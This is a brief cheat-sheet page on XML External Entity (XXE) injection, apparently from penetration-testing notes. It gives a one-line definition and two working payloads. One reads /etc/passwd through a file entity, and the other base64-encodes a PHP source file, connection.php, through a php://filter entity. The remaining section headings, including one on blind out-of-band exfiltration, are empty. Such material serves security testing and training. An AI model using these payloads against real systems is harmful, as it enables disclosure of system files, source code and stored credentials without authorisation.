XML External Entity (XXE)
XXE happens where we can inject our XML inputs and those inputs are not being sanitized by XML Parser
Basic XXE Payloads
#Simple File read
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
#php filters
<!DOCTYPE email [<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=connection.php">]>
Basic XXE Testing


XXE PHP Filters to Read Source Code


Advanced File Disclosure (XXE CDATA)



Blind XXE (Out of Band Data Exfiltration)



Last updated